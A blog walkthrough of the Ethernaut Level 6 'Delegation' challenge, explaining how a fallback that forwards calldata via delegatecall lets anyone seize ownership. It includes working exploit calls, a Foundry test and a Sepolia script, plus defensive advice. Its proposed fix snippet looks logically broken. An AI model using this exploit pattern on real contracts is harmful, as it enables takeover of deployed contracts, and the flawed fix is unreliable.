← Back to blog
Mike B. - SecLat SecuritySeptember 8, 2026

Ethernaut Level 6 Walkthrough: Exploiting Unsafe delegatecall in Solidity

In this article, we will analyze and solve Ethernaut Level 6: Delegation.

This level looks almost too simple: a fallback function forwards every unmatched call to another contract with delegatecall. That single line is enough to let anyone rewrite the contract's owner variable without ever calling a function that touches it directly.

Beyond solving the challenge, we will cover:

  • What delegatecall actually does to storage, msg.sender, and execution context
  • Why a fallback function that blindly forwards msg.data is a loaded gun
  • How to validate the exploit with Foundry
  • How to defend against unsafe delegation with explicit function selectors and storage layout discipline

Challenge Description

The Delegation contract holds a reference to a Delegate contract. Its fallback function forwards any call it does not recognize to Delegate using delegatecall. Delegate exposes a single function, pwn(), that sets its own owner to msg.sender.

The goal of the challenge is:

The goal of this level is for you to claim ownership of the instance you are given.

Vulnerability Classification

CategoryValue
Vulnerability:Unsafe delegatecall in a fallback function
Root Cause:Fallback forwards arbitrary msg.data to an untrusted call target with delegatecall, executing foreign logic in the caller's own storage context
Impact:Any external account can overwrite the contract's owner slot
Severity:Critical
Attack Type:Storage collision via low-level delegatecall

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Root Cause of the Vulnerability

The entire vulnerability lives in the fallback function:

fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

delegatecall is not a regular external call. When contract A calls contract B with delegatecall, B's code runs, but it runs as if it were A's own code: it reads and writes A's storage, it sees A's msg.sender and msg.value, and the only thing B contributes is its bytecode.

Delegation and Delegate both declare address public owner as their very first state variable, so both contracts assign it to storage slot 0. That is what makes the attack trivial: when Delegate.pwn() runs inside Delegation's storage via delegatecall, the line owner = msg.sender does not touch Delegate's own owner. It overwrites slot 0 of Delegation, which is Delegation.owner.

The fallback makes this reachable from the outside because it forwards msg.data verbatim, with no check on which function selector is being called. Any call to an undefined function on Delegation, including one that encodes pwn(), gets relayed straight into Delegate's logic.

This violates a core security principle in smart contract design:

Never delegatecall into a target using attacker-controlled calldata unless the storage layout of both contracts is deliberately aligned and the set of callable functions is explicitly restricted.

Understanding Unsafe delegatecall

  1. The caller (in this case, our player account) sends a transaction to Delegation with calldata equal to the 4-byte selector of pwn().
  2. Delegation has no function matching that selector, so Solidity routes execution to fallback().
  3. fallback() executes address(delegate).delegatecall(msg.data), forwarding the exact same calldata to Delegate.
  4. Delegate finds a matching function, pwn(), and executes it.
  5. Because this is a delegatecall, the execution context is still Delegation: msg.sender inside pwn() is our player account, and owner = msg.sender writes to Delegation's slot 0.
  6. Delegation.owner is now our player account. Delegate.owner was never touched.
Player (EOA)
   |
   | call: pwn() selector
   v
Delegation.fallback()
   |
   | delegatecall (same storage, same msg.sender)
   v
Delegate.pwn()
   |
   | owner = msg.sender  -> writes to Delegation's slot 0
   v
Delegation.owner = Player

This is the same class of bug behind the Parity multisig freeze in 2017, where a library contract exposed an initialization function reachable via delegatecall from a proxy wallet, and later behind its second incident, where anyone could call kill() on the shared library through the same mechanism and self-destruct it, bricking every wallet that delegated to it.

Why is delegatecall Dangerous?

delegatecall is a legitimate and widely used primitive. It is what makes proxy patterns, diamond patterns, and shared libraries possible, so the goal is not to avoid it, but to use it deliberately:

  • Storage layout must match exactly. If the calling contract and the delegated contract do not declare their state variables in the same order and types, delegatecall will silently corrupt storage, exactly as it does here.
  • Never forward raw, unrestricted msg.data. A fallback that relays anything it receives turns every function in the target contract into a function callable on the proxy, whether that was intended or not.
  • The delegated contract must be trusted and immutable, or upgrade-controlled. If the target address can be changed by an attacker, or if the target contract itself can be upgraded, the caller inherits whatever logic ends up there.
  • Prefer well-audited proxy standards. Patterns like OpenZeppelin's TransparentUpgradeableProxy or UUPS exist specifically to manage storage layout and selector routing safely; rolling a custom fallback-based delegate, as this level does, is what introduces the bug.

Attack Strategy

What we know:

  1. Delegation.fallback() forwards any unrecognized call to Delegate via delegatecall.
  2. Delegate.pwn() sets owner = msg.sender in whatever storage context it executes in.
  3. Delegation and Delegate share the same storage slot 0 for owner, since both declare it as their first state variable.
  4. delegatecall preserves msg.sender, so calling through Delegation's fallback keeps our own address as the sender inside Delegate's logic.

Our strategy:

  1. Encode the function selector for pwn().
  2. Send that calldata directly to the Delegation instance from our own account. No function on Delegation matches it, so it lands in fallback().
  3. fallback() relays it to Delegate via delegatecall, executing pwn() inside Delegation's storage.
  4. Delegation.owner is now our address. No attacker contract is needed.

Solution

This level does not require deploying an attacker contract. A single low-level call from our own externally owned account is enough, because the only thing that matters is which calldata reaches Delegation and who the caller is, and both are already exactly what we need from an EOA.

From the browser console, connected to the Ethernaut instance:

await web3.eth.sendTransaction({
  from: player,
  to: contract.address,
  data: web3.eth.abi.encodeFunctionSignature("pwn()")
});

await contract.owner();

The same call from a Foundry script or test, encoding the selector with abi.encodeWithSignature:

(bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");

How the Exploit Works

First, we build the calldata for pwn(). Solidity computes a function's 4-byte selector as the first four bytes of keccak256("pwn()"). abi.encodeWithSignature("pwn()") does exactly that, with no arguments to append since pwn() takes none.

Then, we send that calldata directly to the Delegation instance, either as a raw call from a test or script, or as a manual transaction from the browser console. Delegation has no function named pwn, so Solidity's dispatcher cannot match a selector and falls through to fallback().

Next, fallback() executes delegatecall against the stored delegate address, forwarding our calldata untouched. Delegate does have a pwn() function, so its dispatcher matches it and runs the function body: owner = msg.sender.

Because the whole call chain after our transaction is one delegatecall, execution never leaves Delegation's storage context. msg.sender inside pwn() is still our player account, and the state variable actually written is Delegation's owner at slot 0, not Delegate's.

Finally, we read Delegation.owner() back and confirm it now equals our own address. The level's win condition, parity.owner() == _player, is satisfied.

Validating the Exploit with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {DelegationFactory} from "src/levels/DelegationFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestDelegation_L6 is Test, Utils {
    Ethernaut ethernaut;
    Delegation instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DelegationFactory factory = new DelegationFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)), 0));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);

        // No attacker contract needed. A direct call to any undefined
        // function triggers Delegation's fallback, which delegatecalls
        // into Delegate's pwn(). delegatecall keeps Delegation's storage
        // and msg.sender (the player), so owner is overwritten in place.
        (bool success,) = address(instance).call(abi.encodeWithSignature("pwn()"));
        require(success, "call not successful");

        assertEq(instance.owner(), player);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Running the Test

source .env
forge test --match-path test/Solutions/Delegation_L6.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.

Solving the Level on Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {console} from "forge-std/console.sol";

contract DelegationScript is Script {
    Delegation public target;

    function setUp() public {
        target = Delegation(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        // No attacker contract. A direct call with pwn()'s selector hits
        // Delegation's fallback, which delegatecalls into Delegate and
        // flips owner in Delegation's own storage.
        (bool ok,) = address(target).call(abi.encodeWithSignature("pwn()"));
        require(ok, "pwn call failed");

        console.log("New owner:", target.owner());

        vm.stopBroadcast();
    }
}

Running the Script

source .env
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC

Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:

forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

How to Prevent Unsafe delegatecall

The vulnerable pattern is a fallback that blindly relays msg.data:

// Vulnerable: any calldata, any selector, forwarded unconditionally
fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}

The fix is to never let external calldata pick the delegated function for you. If delegation is genuinely needed, restrict it to specific, whitelisted selectors and keep storage layout identical and documented on both sides:

// Corrected: explicit, whitelisted delegation
function delegatedPwn() external {
    require(msg.sig == Delegate.pwn.selector, "selector not allowed");
    (bool result,) = address(delegate).delegatecall(msg.data);
    require(result, "delegatecall failed");
}

For production proxy patterns, don't hand-roll this at all. Use OpenZeppelin's TransparentUpgradeableProxy or a UUPS proxy, which enforce consistent storage layout through the ERC-1967 storage slots standard and separate admin logic from delegated logic by construction.

Lessons Learned

  • delegatecall executes foreign code in your own storage context. Treat it with the same caution as giving another contract write access to your state.
  • Matching storage layout between a proxy and its implementation is not optional. A misaligned or shared slot is a silent, critical bug.
  • A fallback function is an implicit entry point. If it forwards calldata anywhere, audit it as carefully as any explicit public function.
  • msg.sender and msg.value are preserved across delegatecall, which is exactly why it is powerful for proxies and exactly why it is dangerous when misused.
  • Prefer established proxy standards over custom delegation logic whenever upgradeability or shared logic is the goal.

Conclusion

Ethernaut Level 6 teaches one of the sharpest lessons in Solidity security: a single delegatecall with unrestricted calldata can hand over full control of a contract, with no reentrancy, no overflow, and no attacker contract required. This is not a theoretical risk. It is the same root cause behind real losses in production, most famously the Parity multisig incidents.

Any protocol using proxies, diamonds, or shared libraries needs to treat storage layout alignment and selector restriction as first-class security requirements, not implementation details. This walkthrough covered:

  • How delegatecall shares storage, msg.sender, and execution context with the caller
  • Why an unrestricted fallback function is equivalent to exposing every function of the delegated contract
  • How to exploit it with a single direct call, no attacker contract
  • How to validate the exploit with Foundry, locally and on a Sepolia fork
  • How to defend against it with explicit selector checks and audited proxy standards

If you are building or reviewing contracts that use delegatecall, proxies, or upgradeable patterns, this is exactly the kind of vulnerability class we look for in a professional audit.


Read more Ethernaut walkthroughs on the SECLAT blog.

Need a security audit for your smart contracts? Talk to SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.